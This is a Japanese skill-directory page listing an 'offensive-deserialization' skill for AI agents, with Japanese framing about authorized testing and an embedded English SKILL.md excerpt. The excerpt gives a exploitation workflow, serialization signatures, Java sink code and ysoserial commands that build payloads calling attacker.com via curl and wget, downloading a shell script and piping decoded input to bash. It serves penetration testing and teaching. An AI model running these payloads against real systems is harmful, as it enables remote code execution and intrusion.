offensive-deserialization
できること
このスキルは、アプリが信頼できないデータからオブジェクトを再構築する、安全でないデシリアライズの欠陥を説明します。主要な言語にわたって、危険な入口を見つける方法を扱います。書面による許可のもとでアプリをテストするセキュリティの専門家向けです。
使う場面
- ✓許可を得たテストで、アプリがクッキー、リクエスト、メッセージの中で、シリアライズされたデータを受け入れていることが分かったとき。
- ✓アプリのシリアライズされたオブジェクトの形式と言語を特定したいとき。
- ✓開発者に、安全でないデシリアライズのリスクを説明する必要があるとき。
スキルのリンク
https://github.com/SnailSploit/Claude-Red/blob/main/Skills/web/offensive-deserialization/SKILL.mdコピーしてAI(Claude、ChatGPT、Cursor)に貼り付け、指示に従うよう頼んでください。
使い方
いちばん簡単な方法:メッセージをコピーしてAIに貼り付けるだけ。AIがスキルを読んで指示に従います。
貼り付け用メッセージ
Claude Code、Codex、Cursorの場合:プロジェクトのフォルダで実行するとスキルがインストールされます。
SKILL.mdをダウンロードして、エージェントのスキル用フォルダに入れてください。
AIへの頼み方の例
“私たちのJavaアプリをテストする許可があります。ユーザーからのデータをデシリアライズしている箇所を見つけ、そのリスクを説明してください。”
毎週5つの新しいスキル。1分で読めます。
仕組み
このスキルは、シリアライズされたデータを受け入れるすべての入口を見つけ、その形式と言語を特定して、リスクを評価します。まず無害な実行の証明、たとえばDNSだけの確認から始め、その後の手順に進む前に、チェーン全体を文書化します。
技術的な内容(元のSKILL.md)
作者による元のテキスト(英語)をGitHubからそのまま表示しています。
Offensive Deserialization
Deserialization vulnerabilities arise when an application reconstructs objects from serialized byte streams without validating the type, integrity, or origin of the data. Object reconstruction triggers constructors, finalizers, and language-specific magic methods, so an attacker who controls the serialized input often achieves remote code execution before any application-level validation runs.
Quick Workflow
- Enumerate every entry point accepting opaque binary or encoded data -- cookies, HTTP bodies, headers, message queue messages, file uploads, GraphQL custom scalars, gRPC fields, JMX/RMI endpoints.
- Fingerprint the serialization format via magic bytes, content-type headers, and error behavior (see Recognition Signatures).
- Determine the server-side language and framework version from error pages, HTTP headers, or source code.
- Select candidate gadget chains matching the target classpath or installed packages. Generate payloads with ysoserial, phpggc, ysoserial.net, or manual construction.
- Deliver through the identified entry point. Start with DNS-only or sleep-based proof to confirm execution without destructive side effects.
- Escalate from proof-of-concept to the engagement objective with authorization.
- Document the full chain: entry point, format, gadget chain, library versions, proof.
Recognition Signatures
| Format | Signature | Notes |
|---|---|---|
| Java ObjectInputStream | Hex ac ed 00 05, Base64 rO0AB |
Cookies, POST bodies, JMX/RMI streams |
| PHP serialize | O:<len>:"ClassName": or a:<count>:{ |
Frequently Base64-wrapped in cookies |
| .NET BinaryFormatter | Base64 AAEAAAD///// |
ViewState, remoting, session state |
| Python pickle | Opcodes \x80\x04\x95 (v4+), older (dp0 text |
Redis caches, Celery tasks, ML pipelines |
| Ruby Marshal | \x04\x08 leading bytes |
Session cookies in older Rails apps |
| YAML (any lang) | --- !ruby/object: or !!python/object/apply: |
Tag-based instantiation |
| Java XMLDecoder | <?xml with <java> or <object class= |
Legacy Java admin panels |
| .NET Json.NET | "$type": key in JSON |
TypeNameHandling != None |
| Java Jackson | ["class.name", { JSON array wrapper |
enableDefaultTyping / polymorphic handling |
Java Deserialization
ObjectInputStream.readObject() instantiates arbitrary classes present on the
classpath. Decades of library code provide usable gadget chains.
Identifying Sinks
// Direct ObjectInputStream usage
ObjectInputStream ois = new ObjectInputStream(inputStream);
Object obj = ois.readObject();
// XMLDecoder -- equally dangerous, often overlooked
XMLDecoder decoder = new XMLDecoder(inputStream);
Object obj = decoder.readObject();
// XStream without allowlist
XStream xstream = new XStream();
Object obj = xstream.fromXML(userInput);
// Jackson polymorphic typing -- CVE-2017-7525 and successors
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
// Jackson @JsonTypeInfo on base class
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
public abstract class BaseCommand { }
// JMX/RMI endpoints -- default port 1099, often unauthenticated
serialVersionUID and Classpath Constraints
Every serializable Java class carries a serialVersionUID. A mismatch causes
InvalidClassException before any gadget logic executes. Extract the server's UID
from error messages or decompiled JARs, then rebuild the payload with ysoserial's
source. The UID often changes only on major releases, so brute-forcing common
versions is feasible when the exact version is unknown.
ysoserial Gadget Chains
Match the chain to libraries present on the target classpath.
# CommonsCollections -- most widely applicable
# CC1: commons-collections 3.1, JDK < 8u72
java -jar ysoserial.jar CommonsCollections1 'curl http://attacker.com/cb' > payload.bin
# CC5: later JDK versions where CC1 is patched
java -jar ysoserial.jar CommonsCollections5 'curl http://attacker.com/cb' > payload.bin
# CC7: Hashtable entry point, bypasses some ObjectInputFilter rules
java -jar ysoserial.jar CommonsCollections7 'id > /tmp/proof.txt' > payload.bin
# Spring chain -- requires spring-core + spring-beans
java -jar ysoserial.jar Spring1 'wget http://attacker.com/s.sh -O /tmp/s.sh' > payload.bin
# Hibernate chain -- requires hibernate-core
java -jar ysoserial.jar Hibernate1 'bash -c {echo,BASE64}|{base64,-d}|bash' > payload.bin
# CommonsBeanutils -- present in ma
よくある質問
1つの言語だけを扱いますか?
いいえ。Java、PHP、.NET、Python、Node.js、Rubyを扱います。
有害な証明を使いますか?
このスキルは、どんな追加の手順の前にも、DNSだけの確認などの非破壊的な証明から始めます。
許可を得たテストだけのためのものですか?
はい。書面による許可のもとでのテストのために書かれています。
詳細
作者による元の説明
Insecure deserialization exploitation across Java, PHP, .NET, Python, Node.js, and Ruby. Covers gadget chain construction with ysoserial/phpggc/ysoserial.net, ObjectInputStream and BinaryFormatter sink identification, pickle __reduce__ RCE, phar:// wrapper abuse, Jackson polymorphic typing, Json.NET TypeNameHandling, ViewState tampering, node-serialize IIFE injection, Ruby Marshal.load and YAML.load gadgets, framework-specific chains for Spring/Hibernate/Laravel/Symfony, modern attack surfaces including Kubernetes admission webhooks and message queue consumers, WAF bypass through encoding laye
repo: SnailSploit/Claude-Red
人気
- GitHubのスター
- 10k
- ランキング
- #11976
- ライセンス
- MIT
- 更新日
- 2026/10/12
コメント
- …
このリポジトリの他のスキル
offensive-active-directory
10kエージェントが、ネットワークの地図作成から Domain Adminへの攻撃経路の発見まで、許可を得た Active Directoryのセキュリティテストを計画できるよう支援します。
offensive-netexec
10kエージェントが、許可を得たネットワークのテストで、NetExec(nxc)ツールを使えるよう支援します。プロトコル、認証、認証情報の確認を扱います。
offensive-api-abuse
10kエージェントが、ビジネスロジックの悪用、GraphQLのリスク、競合状態を探す、許可を得たAPIのセキュリティテストを計画できるよう支援します。
offensive-api-security
10kエージェントが、OWASP API Top 10に基づき、REST、gRPC、WebSocketのAPIに対して許可を得たセキュリティテストを行えるよう支援します。
似ているスキル
reverse-engineer-anything
422kREAツールを使って、出荷済みのアプリやパッケージの中身を調べ、機能の説明、版の比較、再構築の手順をエージェントが支援します。
1password
394k1Password CLIをセットアップし、サインインして、秘密情報の値を会話に表示せずに読み取ったり注入したりするようエージェントを支援します。
healthcheck
394kOpenClawを動かすコンピューターやサーバーを、SSH、ファイアウォール、更新、バックアップなどのセキュリティリスクについて監査し、安全な修正案を提案するようエージェントを支援します。